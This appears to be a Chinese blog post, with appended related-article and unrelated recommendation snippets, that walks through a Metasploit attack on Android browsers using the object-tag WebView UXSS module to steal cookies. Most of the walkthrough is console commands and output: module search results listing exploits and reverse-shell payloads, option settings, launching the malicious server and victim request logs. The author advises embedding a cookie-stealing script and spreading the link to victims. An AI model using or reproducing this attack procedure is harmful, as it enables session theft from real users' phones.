黑客攻击的方式思路是先搜集信息,定位漏洞,然后针对不同的漏洞采用不同的方式来黑掉你。下面用metasploit模拟一次跨站脚本攻击(黑掉自己的手机)。

1.搜集信息

msf > search android

Matching Modules
================ Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/android/google_play_store_uxss_xframe_rce normal Android Browser RCE Through Google Play Store XFO
auxiliary/gather/android_browser_new_tab_cookie_theft normal Android Browser "Open in New Tab" Cookie Theft
auxiliary/gather/android_htmlfileprovider normal Android Content Provider File Disclosure
auxiliary/gather/android_object_tag_webview_uxss 2014-10-04 normal Android Open Source Platform (AOSP) Browser UXSS
auxiliary/gather/android_stock_browser_uxss normal Android Open Source Platform (AOSP) Browser UXSS
auxiliary/scanner/sip/sipdroid_ext_enum normal SIPDroid Extension Grabber
exploit/android/browser/samsung_knox_smdm_url -- normal Samsung Galaxy KNOX Android Browser RCE
exploit/android/browser/webview_addjavascriptinterface -- normal Android Browser and WebView addJavascriptInterface Code Execution
exploit/android/fileformat/adobe_reader_pdf_js_interface -- good Adobe Reader for Android addJavascriptInterface Exploit
exploit/android/local/futex_requeue -- excellent Android 'Towelroot' Futex Requeue Kernel Exploit
exploit/multi/handler manual Generic Payload Handler
payload/android/meterpreter/reverse_http normal Android Meterpreter, Dalvik Reverse HTTP Stager
payload/android/meterpreter/reverse_https normal Android Meterpreter, Dalvik Reverse HTTPS Stager
payload/android/meterpreter/reverse_tcp normal Android Meterpreter, Dalvik Reverse TCP Stager
payload/android/shell/reverse_http normal Command Shell, Dalvik Reverse HTTP Stager
payload/android/shell/reverse_https normal Command Shell, Dalvik Reverse HTTPS Stager
payload/android/shell/reverse_tcp normal Command Shell, Dalvik Reverse TCP Stager

可以看到安卓可以利用的漏洞有很多,在这里我选择了一个UXSS(通用跨站脚本攻击)的漏洞,通过搜索,可以看到漏洞的具体描述。

这个漏洞的大概意思是如果黑客成功,将从你的浏览器中获取到你页面的cookie。

2.接下来利用这个漏洞,并查看该模块的选项。

msf > use auxiliary/gather/android_object_tag_webview_uxss
msf auxiliary(android_object_tag_webview_uxss) > show options Module options (auxiliary/gather/android_object_tag_webview_uxss): Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM_JS no A string of javascript to execute in the context of the target URLs.
REMOTE_JS no A URL to inject into a script tag in the context of the target URLs.
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGET_URLS http://example.com yes The comma-separated list of URLs to steal.
URIPATH no The URI to use for this exploit (default is random) Auxiliary action: Name Description
---- -----------
WebServer

由上图可以看到必填字段有SRVHOST/SRVPORT/TARGET_URLS。这里才是关键。在这一步里,你需要做的就是搭建自己的站点,以及把获取cookie并传回的脚本嵌入进去!

在这里我除了SRVHOST外其他选择默认值,只起演示作用。(后边我会给出一个具体的例子,看别人的XSS是怎么做的)

msf auxiliary(android_object_tag_webview_uxss) > set SRVHOST 192.168.1.106
SRVHOST => 192.168.1.106

3.假设你的脚本已经站点已经搞定,接下来输入“exploit”,服务启动后基本快要大功告成了。

msf auxiliary(android_object_tag_webview_uxss) > exploit
[*] Auxiliary module execution completed
msf auxiliary(android_object_tag_webview_uxss) >
[*] Using URL: http://192.168.1.106:8080/ORvS7Li6X
[*] Server started.

4.接下来,你需要想办法把你的站点扩散出去,然后坐享其成就行了。

[*] 192.168.1.105    android_object_tag_webview_uxss - Request 'GET /ORvS7Li6X'
[*] 192.168.1.105 android_object_tag_webview_uxss - Sending initial HTML ...
[*] 192.168.1.105 android_object_tag_webview_uxss - Request 'GET /ORvS7Li6X'
[*] 192.168.1.105 android_object_tag_webview_uxss - Sending initial HTML ...

后记:这篇博客里对脚本制作思路和过程并没有深入探讨,具体思路可以借鉴一下这篇文章。

实战利用XSS漏洞对me.jd.com进行基础验证钓鱼

利用Android的UXSS漏洞完成一次XSS攻击的更多相关文章

  1. Android设备管理器漏洞(转)

    一.漏洞描述 目前被称为“史上最强Android木马”的病毒Backdoor.AndroidOS.Obad.a利用Android设备管理器漏洞使用户无法通过正常方式卸载.其实该漏洞早在去年底已被发现. ...

  2. 漏洞科普:对于XSS和CSRF你究竟了解多少

    转自:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广 ...

  3. Android安全开发之UXSS漏洞分析

    0X01 前言 XSS是我们比较熟悉的一种攻击方式,包括存储型XSS.反射型XSS.DOM XSS等,但UXSS(通用型XSS)另外一种不同的漏洞类型,主要体现在漏洞的载体和影响范围上. XSS问题源 ...

  4. Android提权漏洞CVE-2014-7920&CVE-2014-7921分析

    没羽@阿里移动安全,更多安全类技术干货,请访问阿里聚安全博客 这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到me ...

  5. Android设备管理器漏洞2--禁止用户取消激活设备管理器

    2013年6月,俄罗斯安全厂商卡巴斯基发现了史上最强手机木马-Obad.A.该木马利用了一个未知的Android设备管理器漏洞(ANDROID-9067882),已激活设备管理器权限的手机木马利用该漏 ...

  6. 安卓微信、QQ自带浏览器 UXSS 漏洞

    安卓微信.QQ自带浏览器 UXSS 漏洞 注:PDF报告原文下载链接 Author: hei@knownsec.com Date: 2016-02-29 一.漏洞描述 在安卓平台上的微信及QQ自带浏览 ...

  7. vmware漏洞之一——转:利用一个堆溢出漏洞实现VMware虚拟机逃逸

    转:https://zhuanlan.zhihu.com/p/27733895?utm_source=tuicool&utm_medium=referral 小结: vmware通过Backd ...

  8. 利用DNS Zone Transfers漏洞工具dnswalk

    利用DNS Zone Transfers漏洞工具dnswalk   DNS Zone Transfers(DNS区域传输)是指一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库.当主服 ...

  9. 利用Android Studio、MAT对Android进行内存泄漏检测

    利用Android Studio.MAT对Android进行内存泄漏检测 Android开发中难免会遇到各种内存泄漏,如果不及时发现处理,会导致出现内存越用越大,可能会因为内存泄漏导致出现各种奇怪的c ...

随机推荐

  1. 【代码笔记】iOS-点击出现选择框

    一,效果图. 二,工程图. 三,代码. RootViewController.h #import <UIKit/UIKit.h> @interface RootViewController ...

  2. AFNetworking 3.0.4 的使用

    本文永久链接:http://www.cnblogs.com/qianLL/p/5342593.html pod 'AFNetworking', '~>3.0.4'    <-------第 ...

  3. [转 载] android 谷歌 新控件(约束控件 )ConstraintLayout 扁平化布局

    序 在Google IO大会中不仅仅带来了Android Studio 2.2预览版,同时带给我们一个依赖约束的库. 简单来说,她是相对布局的升级版本,但是区别与相对布局更加强调约束.何为约束,即控件 ...

  4. 学习 Docker - 入门

    Docker简介 一种虚拟容器技术. 一种虚拟化分方案: 操作系统级别的虚拟化: 只能运行相同或相似内核的操作系统: 依赖与linux内核特性:Namespace和Cgroups(Control Gr ...

  5. SQL Server(八)——触发器

    触发器是一类特殊的存储过程,在对表update,insert或delete语句时自动执行, 没有参数,没有返回值: 一.触发器类型 1.for触发器 在动作执行之后触发(增删改执行完成后,触发器中的代 ...

  6. C#语言基础——数组

    数组 一.一位数组 数组初始化,创建数组,数组长度为5 int[] array = new int[5]; array[0] = 1; array[1] = 2; array[2] = 3; arra ...

  7. HTTP状态码分类说明

    状态码分类 HTTP状态码被分为五大类, 目前我们使用的HTTP协议版本是1.1, 支持以下的状态码.随着协议的发展,HTTP规范中会定义更多的状态码. 小技巧:  假如你看到一个状态码518, 你并 ...

  8. android 中Activity的onStart()和onResume()的区别是什么

    首先你要知道Activity的四种状态:Active/Runing 一个新 Activity 启动入栈后,它在屏幕最前端,处于栈的最顶端,此时它处于可见并可和用户交互的激活状态.Paused 当 Ac ...

  9. Android中在sdcard上创建文件夹

    //在SD卡上创建一个文件夹    public void createSDCardDir(){     if(Environment.MEDIA_MOUNTED.equals(Environment ...

  10. ES6箭头函数(Arrow Functions)

    ES6可以使用“箭头”(=>)定义函数,注意是函数,不要使用这种方式定义类(构造器). 一.语法 1. 具有一个参数的简单函数 var single = a => a single('he ...